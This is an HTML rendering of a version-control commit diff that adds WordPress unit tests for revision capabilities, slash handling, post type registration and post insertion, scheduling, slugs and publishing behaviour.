+                        $this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+               }
+
+               // Author should be able to view the revisions fine
+               foreach ( $revisions as $revision ) {
+                        $this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+               }
+       }
+
+       /**
+        * Tests the Caps used in the action=restore case of wp-admin/revision.php
+        * @ticket 16847
+        */
+       function test_revision_restore_caps_cpt() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'event',
+                       'map_meta_cap' => true,
+                       'supports' => array( 'revisions' ),
+               ) );
+
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               // The minimum extra caps needed for this test normally you would give the role all the relevant caps.
+               $editor_user = new WP_User( $editor_user_id );
+               $editor_user->add_cap( 'edit_published_events' );
+
+               //create a post as Editor
+               $post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_author' => $editor_user_id ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 1, $revisions );
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $editor_user_id, 'edit_post', $revision->post_parent ) );
+               }
+
+               // Author shouldn't be able to restore the revisions
+               wp_set_current_user( $author_user_id );
+               foreach ( $revisions as $revision ) {
+                       $this->assertFalse( user_can( $author_user_id, 'edit_post', $revision->post_parent ) );
+               }
+       }
+
+       /**
+        * Tests the Caps used in the action=restore case of wp-admin/revision.php
+        * @ticket 16847
+        */
+       function test_revision_restore_caps_before_publish() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'post',
+                       'capabilities' => array(
+                               // No one can edit this post type once published.
+                               // So, revisions cannot be restored, either.
+                               'edit_published_posts' => 'do_not_allow',
+                       ),
+                       'map_meta_cap' => true,
+                       'supports' => array( 'revisions' ),
+               ) );
+
+               $old_id = get_current_user_id();
+               wp_set_current_user( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+
+               $post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_status' => 'draft' ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 1, $revisions );
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( current_user_can( 'edit_post', $revision->post_parent ) );
+                       $this->assertTrue( current_user_can( 'edit_post', $revision->ID ) );
+               }
+
+               wp_update_post( array( 'post_status' => 'publish', 'ID' => $post_id, 'post_content' => rand_str() ) );
+
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 2, $revisions );
+               foreach ( $revisions as $revision ) {
+                       $this->assertFalse( current_user_can( 'edit_post', $revision->post_parent ) );
+                       $this->assertFalse( current_user_can( 'edit_post', $revision->ID ) );
+               }
+               wp_set_current_user( $old_id );
+       }
+
+       /**
+        * Tests the Caps used in the action=diff case of wp-admin/revision.php
+        * @ticket 16847
+        */
+       function test_revision_diff_caps_cpt() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'event',
+                       'map_meta_cap' => true,
+                       'supports' => array( 'revisions' ),
+               ) );
+
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               $post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_author' => $editor_user_id ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+               wp_update_post( array( 'post_content' => 'This content is even better', 'ID' => $post_id ) );
+
+               // Diff checks if you can read both left and right revisions
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 2, $revisions );
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+               }
+
+               // Author should be able to diff the revisions fine
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/slashes.php                               (rev 0)
+++ trunk/tests/tests/post/slashes.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,132 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Post_Slashes extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+
+               // it is important to test with both even and odd numbered slashes as
+               // kses does a strip-then-add slashes in some of it's function calls
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * Tests the controller function that expects slashed data
+        *
+        */
+       function test_edit_post() {
+               $id = $this->factory->post->create();
+
+               $_POST = array();
+               $_POST['post_ID'] = $id;
+               $_POST['post_title'] = $this->slash_1;
+               $_POST['content'] = $this->slash_5;
+               $_POST['excerpt'] = $this->slash_7;
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               $post_id = edit_post();
+               $post = get_post( $post_id );
+
+               $this->assertEquals( $this->slash_1, $post->post_title );
+               $this->assertEquals( $this->slash_5, $post->post_content );
+               $this->assertEquals( $this->slash_7, $post->post_excerpt );
+
+               $_POST = array();
+               $_POST['post_ID'] = $id;
+               $_POST['post_title'] = $this->slash_2;
+               $_POST['content'] = $this->slash_4;
+               $_POST['excerpt'] = $this->slash_6;
+               $_POST = add_magic_quotes( $_POST );
+
+               $post_id = edit_post();
+               $post = get_post( $post_id );
+
+               $this->assertEquals( $this->slash_2, $post->post_title );
+               $this->assertEquals( $this->slash_4, $post->post_content );
+               $this->assertEquals( $this->slash_6, $post->post_excerpt );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_insert_post() {
+               $id = wp_insert_post(array(
+                       'post_status' => 'publish',
+                       'post_title' => $this->slash_1,
+                       'post_content' => $this->slash_3,
+                       'post_excerpt' => $this->slash_5,
+                       'post_type' => 'post',
+                       'slashed' => false,
+               ));
+               $post = get_post( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+               $id = wp_insert_post(array(
+                       'post_status' => 'publish',
+                       'post_title' => $this->slash_2,
+                       'post_content' => $this->slash_4,
+                       'post_excerpt' => $this->slash_6,
+                       'post_type' => 'post'
+               ));
+               $post = get_post( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_update_post() {
+               $id = $this->factory->post->create();
+
+               wp_update_post(array(
+                       'ID' => $id,
+                       'post_title' => $this->slash_1,
+                       'post_content' => $this->slash_3,
+                       'post_excerpt' => $this->slash_5,
+               ));
+               $post = get_post( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+               wp_update_post(array(
+                       'ID' => $id,
+                       'post_title' => $this->slash_2,
+                       'post_content' => $this->slash_4,
+                       'post_excerpt' => $this->slash_6,
+               ));
+               $post = get_post( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsposttypesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/types.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/types.php                         (rev 0)
+++ trunk/tests/tests/post/types.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,84 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Types extends WP_UnitTestCase {
+       function test_register_post_type() {
+               $this->assertNull( get_post_type_object( 'foo' ) );
+               register_post_type( 'foo' );
+
+               $pobj = get_post_type_object( 'foo' );
+               $this->assertInstanceOf( 'stdClass', $pobj );
+               $this->assertEquals( 'foo', $pobj->name );
+
+               // Test some defaults
+               $this->assertFalse( is_post_type_hierarchical( 'foo' ) );
+               $this->assertEquals( array(), get_object_taxonomies( 'foo' ) );
+
+               _unregister_post_type( 'foo' );
+       }
+
+       function test_register_taxonomy_for_object_type() {
+               global $wp_taxonomies;
+
+               register_post_type( 'bar' );
+               register_taxonomy_for_object_type( 'post_tag', 'bar' );
+               $this->assertEquals( array( 'post_tag' ), get_object_taxonomies( 'bar' ) );
+               register_taxonomy_for_object_type( 'category', 'bar' );
+               $this->assertEquals( array( 'category', 'post_tag' ), get_object_taxonomies( 'bar' ) );
+
+               $this->assertTrue( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+               $this->assertTrue( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+
+               // Clean up. Remove the 'bar' post type from these taxonomies.
+               $GLOBALS['wp_taxonomies']['post_tag']->object_type = array( 'post' );
+               $GLOBALS['wp_taxonomies']['category']->object_type = array( 'post' );
+
+               $this->assertFalse( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+               $this->assertFalse( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+
+               _unregister_post_type( 'bar' );
+       }
+
+       function test_post_type_exists() {
+               $this->assertFalse( post_type_exists( 'notaposttype' ) );
+               $this->assertTrue( post_type_exists( 'post' ) );
+       }
+
+       function test_post_type_supports() {
+               $this->assertTrue( post_type_supports( 'post', 'post-formats' ) );
+               $this->assertFalse( post_type_supports( 'page', 'post-formats' ) );
+               $this->assertFalse( post_type_supports( 'notaposttype', 'post-formats' ) );
+               $this->assertFalse( post_type_supports( 'post', 'notafeature' ) );
+               $this->assertFalse( post_type_supports( 'notaposttype', 'notafeature' ) );
+       }
+
+       /**
+        * @ticket 21586
+        */
+       function test_post_type_with_no_support() {
+               register_post_type( 'foo', array( 'supports' => array() ) );
+               $this->assertTrue( post_type_supports( 'foo', 'editor' ) );
+               $this->assertTrue( post_type_supports( 'foo', 'title' ) );
+               _unregister_post_type( 'foo' );
+
+               register_post_type( 'foo', array( 'supports' => false ) );
+               $this->assertFalse( post_type_supports( 'foo', 'editor' ) );
+               $this->assertFalse( post_type_supports( 'foo', 'title' ) );
+               _unregister_post_type( 'foo' );
+       }
+
+       /**
+        * @ticket 23302
+        */
+       function test_post_type_with_no_feed() {
+               global $wp_rewrite;
+               $old_permastruct = get_option( 'permalink_structure' );
+               update_option( 'permalink_structure', '%postname%' );
+               register_post_type( 'foo', array( 'rewrite' => array( 'feeds' => false ) ) );
+               $this->assertFalse( $wp_rewrite->extra_permastructs['foo']['feed'] );
+               update_option( 'permalink_structure', $old_permastruct );
+               _unregister_post_type( 'foo' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post.php                               (rev 0)
+++ trunk/tests/tests/post.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,801 @@
</span><ins>+<?php
+
+/**
+ * test wp-includes/post.php
+ *
+ * @group post
+ */
+class Tests_Post extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+               _set_cron_array(array());
+               $this->post_ids = array();
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+       
+       // helper function: return the timestamp(s) of cron jobs for the specified hook and post
+       function _next_schedule_for_post($hook, $id) {
+               return wp_next_scheduled('publish_future_post', array(0=>intval($id)));
+       }
+       
+       // helper function, unsets current user globally
+       function _unset_current_user() {
+               global $current_user, $user_ID;
+               
+               $current_user = $user_ID = null;
+       }
+       
+       // test simple valid behavior: insert and get a post
+       function test_vb_insert_get_delete() {
+               register_post_type( 'cpt', array( 'taxonomies' => array( 'post_tag', 'ctax' ) ) );
+               register_taxonomy( 'ctax', 'cpt' );
+               $post_types = array( 'post', 'cpt' );
+
+               foreach ( $post_types as $post_type ) {
+                       $post = array(
+                               'post_author' => $this->author_id,
+                               'post_status' => 'publish',
+                               'post_content' => rand_str(),
+                               'post_title' => rand_str(),
+                               'tax_input' => array( 'post_tag' => 'tag1,tag2', 'ctax' => 'cterm1,cterm2' ),
+                               'post_type' => $post_type
+                       );
+
+                       // insert a post and make sure the ID is ok
+                       $id = wp_insert_post($post);
+                       $this->assertTrue(is_numeric($id));
+                       $this->assertTrue($id > 0);
+
+                       // fetch the post and make sure it matches
+                       $out = get_post($id);
+
+                       $this->assertEquals($post['post_content'], $out->post_content);
+                       $this->assertEquals($post['post_title'], $out->post_title);
+                       $this->assertEquals($post['post_status'], $out->post_status);
+                       $this->assertEquals($post['post_author'], $out->post_author);
+
+                       // test cache state
+                       $pcache = wp_cache_get( $id, 'posts' );
+                       $this->assertInstanceOf( 'stdClass', $pcache );
+                       $this->assertEquals( $id, $pcache->ID );
+
+                       update_object_term_cache( $id, $post_type );
+                       $tcache = wp_cache_get( $id, "post_tag_relationships" );
+                       $this->assertInternalType( 'array', $tcache );
+                       $this->assertEquals( 2, count( $tcache ) );
+
+                       $tcache = wp_cache_get( $id, "ctax_relationships" );
+                       if ( 'cpt' == $post_type ) {
+                               $this->assertInternalType( 'array', $tcache );
+                               $this->assertEquals( 2, count( $tcache ) );
+                       } else {
+                               $this->assertFalse( $tcache );
+                       }
+
+                       wp_delete_post( $id, true );
+                       $this->assertFalse( wp_cache_get( $id, 'posts' ) );
+                       $this->assertFalse( wp_cache_get( $id, "post_tag_relationships" ) );
+                       $this->assertFalse( wp_cache_get( $id, "ctax_relationships" ) );
+               }
+
+               $GLOBALS['wp_taxonomies']['post_tag']->object_type = array( 'post' );
+       }
+
+       function test_vb_insert_future() {
+               // insert a post with a future date, and make sure the status and cron schedule are correct
+
+               $future_date = strtotime('+1 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+               #dmp(_get_cron_array());
+               $this->assertTrue(is_numeric($id));
+               $this->assertTrue($id > 0);
+
+               // fetch the post and make sure it matches
+               $out = get_post($id);
+
+               $this->assertEquals($post['post_content'], $out->post_content);
+               $this->assertEquals($post['post_title'], $out->post_title);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_author'], $out->post_author);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // there should be a publish_future_post hook scheduled on the future date
+               $this->assertEquals($future_date, $this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       function test_vb_insert_future_over_dst() {
+               // insert a post with a future date, and make sure the status and cron schedule are correct
+
+               // Some magic days - one dst one not
+               $future_date_1 = strtotime('June 21st +1 year');
+               $future_date_2 = strtotime('Jan 11th +1 year');
+
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+
+               // fetch the post and make sure has the correct date and status
+               $out = get_post($id);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // check that there's a publish_future_post job scheduled at the right time
+               $this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+               // now save it again with a date further in the future
+
+               $post['ID'] = $id;
+               $post['post_date'] = strftime("%Y-%m-%d %H:%M:%S", $future_date_2);
+               $post['post_date_gmt'] = NULL;
+               wp_update_post($post);
+
+               // fetch the post again and make sure it has the new post_date
+               $out = get_post($id);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // and the correct date on the cron job
+               $this->assertEquals($future_date_2, $this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       function test_vb_insert_future_edit_bug() {
+               // future post bug: posts get published at the wrong time if you edit the timestamp
+               // http://trac.wordpress.org/ticket/4710
+
+               $future_date_1 = strtotime('+1 day');
+               $future_date_2 = strtotime('+2 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+
+               // fetch the post and make sure has the correct date and status
+               $out = get_post($id);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // check that there's a publish_future_post job scheduled at the right time
+               $this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+               // now save it again with a date further in the future
+
+               $post['ID'] = $id;
+               $post['post_date'] = strftime("%Y-%m-%d %H:%M:%S", $future_date_2);
+               $post['post_date_gmt'] = NULL;
+               wp_update_post($post);
+
+               // fetch the post again and make sure it has the new post_date
+               $out = get_post($id);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // and the correct date on the cron job
+               $this->assertEquals($future_date_2, $this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       function test_vb_insert_future_draft() {
+               // insert a draft post with a future date, and make sure no cron schedule is set
+
+               $future_date = strtotime('+1 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'draft',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+               #dmp(_get_cron_array());
+               $this->assertTrue(is_numeric($id));
+               $this->assertTrue($id > 0);
+
+               // fetch the post and make sure it matches
+               $out = get_post($id);
+
+               $this->assertEquals($post['post_content'], $out->post_content);
+               $this->assertEquals($post['post_title'], $out->post_title);
+               $this->assertEquals('draft', $out->post_status);
+               $this->assertEquals($post['post_author'], $out->post_author);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // there should be a publish_future_post hook scheduled on the future date
+               $this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+
+       }
+
+       function test_vb_insert_future_change_to_draft() {
+               // insert a future post, then edit and change it to draft, and make sure cron gets it right
+               $future_date_1 = strtotime('+1 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+
+               // fetch the post and make sure has the correct date and status
+               $out = get_post($id);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // check that there's a publish_future_post job scheduled at the right time
+               $this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+               // now save it again with status set to draft
+
+               $post['ID'] = $id;
+               $post['post_status'] = 'draft';
+               wp_update_post($post);
+
+               // fetch the post again and make sure it has the new post_date
+               $out = get_post($id);
+               $this->assertEquals('draft', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // and the correct date on the cron job
+               $this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       function test_vb_insert_future_change_status() {
+               // insert a future post, then edit and change the status, and make sure cron gets it right
+               $future_date_1 = strtotime('+1 day');
+
+               $statuses = array('draft', 'static', 'object', 'attachment', 'inherit', 'pending');
+
+               foreach ($statuses as $status) {
+                       $post = array(
+                               'post_author' => $this->author_id,
+                               'post_status' => 'publish',
+                               'post_content' => rand_str(),
+                               'post_title' => rand_str(),
+                               'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+                       );
+
+                       // insert a post and make sure the ID is ok
+                       $id = $this->post_ids[] = wp_insert_post($post);
+
+                       // fetch the post and make sure has the correct date and status
+                       $out = get_post($id);
+                       $this->assertEquals('future', $out->post_status);
+                       $this->assertEquals($post['post_date'], $out->post_date);
+
+                       // check that there's a publish_future_post job scheduled at the right time
+                       $this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+                       // now save it again with status changed
+
+                       $post['ID'] = $id;
+                       $post['post_status'] = $status;
+                       wp_update_post($post);
+
+                       // fetch the post again and make sure it has the new post_date
+                       $out = get_post($id);
+                       $this->assertEquals($status, $out->post_status);
+                       $this->assertEquals($post['post_date'], $out->post_date);
+
+                       // and the correct date on the cron job
+                       $this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+               }
+       }
+
+       function test_vb_insert_future_private() {
+               // insert a draft post with a future date, and make sure no cron schedule is set
+
+               $future_date = strtotime('+1 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'private',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+               #dmp(_get_cron_array());
+               $this->assertTrue(is_numeric($id));
+               $this->assertTrue($id > 0);
+
+               // fetch the post and make sure it matches
+               $out = get_post($id);
+
+               $this->assertEquals($post['post_content'], $out->post_content);
+               $this->assertEquals($post['post_title'], $out->post_title);
+               $this->assertEquals('private', $out->post_status);
+               $this->assertEquals($post['post_author'], $out->post_author);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // there should be a publish_future_post hook scheduled on the future date
+               $this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       /**
+        * @ticket 17180
+        */
+       function test_vb_insert_invalid_date() {
+               // insert a post with an invalid date, make sure it fails
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'public',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => '2012-02-30 00:00:00',
+               );
+
+               // Test both return paths with or without WP_Error
+               $insert_post = wp_insert_post( $post, true );
+               $this->assertTrue( is_wp_error( $insert_post ), 'Did not get a WP_Error back from wp_insert_post' );
+               $this->assertEquals( 'invalid_date', $insert_post->get_error_code() );
+
+               $insert_post = wp_insert_post( $post );
+               $this->assertEquals( 0, $insert_post );
+       }
+
+       function test_vb_insert_future_change_to_private() {
+               // insert a future post, then edit and change it to private, and make sure cron gets it right
+               $future_date_1 = strtotime('+1 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+
+               // fetch the post and make sure has the correct date and status
+               $out = get_post($id);
+               $this->assertEquals('future', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // check that there's a publish_future_post job scheduled at the right time
+               $this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+               // now save it again with status set to draft
+
+               $post['ID'] = $id;
+               $post['post_status'] = 'private';
+               wp_update_post($post);
+
+               // fetch the post again and make sure it has the new post_date
+               $out = get_post($id);
+               $this->assertEquals('private', $out->post_status);
+               $this->assertEquals($post['post_date'], $out->post_date);
+
+               // and the correct date on the cron job
+               $this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       /**
+        * @ticket 5364
+        */
+       function test_delete_future_post_cron() {
+               // "When I delete a future post using wp_delete_post($post->ID) it does not update the cron correctly."
+               $future_date = strtotime('+1 day');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+
+               // check that there's a publish_future_post job scheduled at the right time
+               $this->assertEquals($future_date, $this->_next_schedule_for_post('publish_future_post', $id));
+
+               // now delete the post and make sure the cron entry is removed
+               wp_delete_post($id);
+
+               $this->assertFalse($this->_next_schedule_for_post('publish_future_post', $id));
+       }
+
+       /**
+        * @ticket 5305
+        */
+       function test_permalink_without_title() {
+               // bug: permalink doesn't work if post title is empty
+               // might only fail if the post ID is greater than four characters
+
+               global $wp_rewrite;
+               $wp_rewrite->set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/');
+
+               $post = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => '',
+                       'post_date' => '2007-10-31 06:15:00',
+               );
+
+               // insert a post and make sure the ID is ok
+               $id = $this->post_ids[] = wp_insert_post($post);
+
+               $plink = get_permalink($id);
+
+               // permalink should include the post ID at the end
+               $this->assertEquals(get_option('siteurl').'/2007/10/31/'.$id.'/', $plink);
+
+               $wp_rewrite->set_permalink_structure('');
+       }
+
+       /**
+        * @ticket 21013
+        */
+       function test_wp_unique_post_slug_with_non_latin_slugs() {
+               $inputs = array(
+                       'Αρνάκι άσπρο και παχύ της μάνας του καμάρι, και άλλα τραγούδια',
+                       'Предлагаем супер металлообрабатывающее оборудование',
+               );
+
+               $outputs = array(
+                       'αρνάκι-άσπρο-και-παχύ-της-μάνας-του-κα-2',
+                       'предлагаем-супер-металлообрабатыва-2',
+               );
+
+               foreach ( $inputs as $k => $post_title ) {
+                       for ( $i = 0; $i < 2; $i++ ) {
+                               $post = array(
+                                       'post_author' => $this->author_id,
+                                       'post_status' => 'publish',
+                                       'post_content' => rand_str(),
+                                       'post_title' => $post_title,
+                               );
+
+                               $id = $this->post_ids[] = wp_insert_post( $post );
+                       }
+
+                       $post = get_post( $id );
+                       $this->assertEquals( $outputs[$k], urldecode( $post->post_name ) );
+               }
+       }
+
+       /**
+        * @ticket 15665
+        */
+       function test_get_page_by_path_priority() {
+               $attachment = $this->factory->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'attachment' ) );
+               $page       = $this->factory->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'page' ) );
+               $other_att  = $this->factory->post->create_and_get( array( 'post_title' => 'some-other-page', 'post_type' => 'attachment' ) );
+
+               $this->assertEquals( 'some-page', $attachment->post_name );
+               $this->assertEquals( 'some-page', $page->post_name );
+
+               // get_page_by_path() should return a post of the requested type before returning an attachment.
+               $this->assertEquals( $page, get_page_by_path( 'some-page' ) );
+
+               // Make sure get_page_by_path() will still select an attachment when a post of the requested type doesn't exist.
+               $this->assertEquals( $other_att, get_page_by_path( 'some-other-page' ) );
+       }
+
+       function test_wp_publish_post() {
+               $draft_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+
+               $post = get_post( $draft_id );
+               $this->assertEquals( 'draft', $post->post_status );
+
+               wp_publish_post( $draft_id );
+               $post = get_post( $draft_id );
+
+               $this->assertEquals( 'publish', $post->post_status );
+       }
+
+       /**
+        * @ticket 22944
+        */
+       function test_wp_insert_post_and_wp_publish_post_with_future_date() {
+               $future_date = gmdate( 'Y-m-d H:i:s', time() + 10000000 );
+               $post_id = $this->factory->post->create( array(
+                       'post_status' => 'publish',
+                       'post_date' => $future_date,
+               ) );
+
+               $post = get_post( $post_id );
+               $this->assertEquals( 'future', $post->post_status );
+               $this->assertEquals( $future_date, $post->post_date );
+
+               wp_publish_post( $post_id );
+               $post = get_post( $post_id );
+
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( $future_date, $post->post_date );
+       }
+
+       /**
+        * @ticket 22944
+        */
+       function test_publish_post_with_content_filtering() {
+               kses_remove_filters();
+
+               $post_id = wp_insert_post( array( 'post_title' => '<script>Test</script>' ) );
+               $post = get_post( $post_id );
+               $this->assertEquals( '<script>Test</script>', $post->post_title );
+               $this->assertEquals( 'draft', $post->post_status );
+
+               kses_init_filters();
+
+               wp_update_post( array( 'ID' => $post->ID, 'post_status' => 'publish' ) );
+               $post = get_post( $post->ID );
+               $this->assertEquals( 'Test', $post->post_title );
+
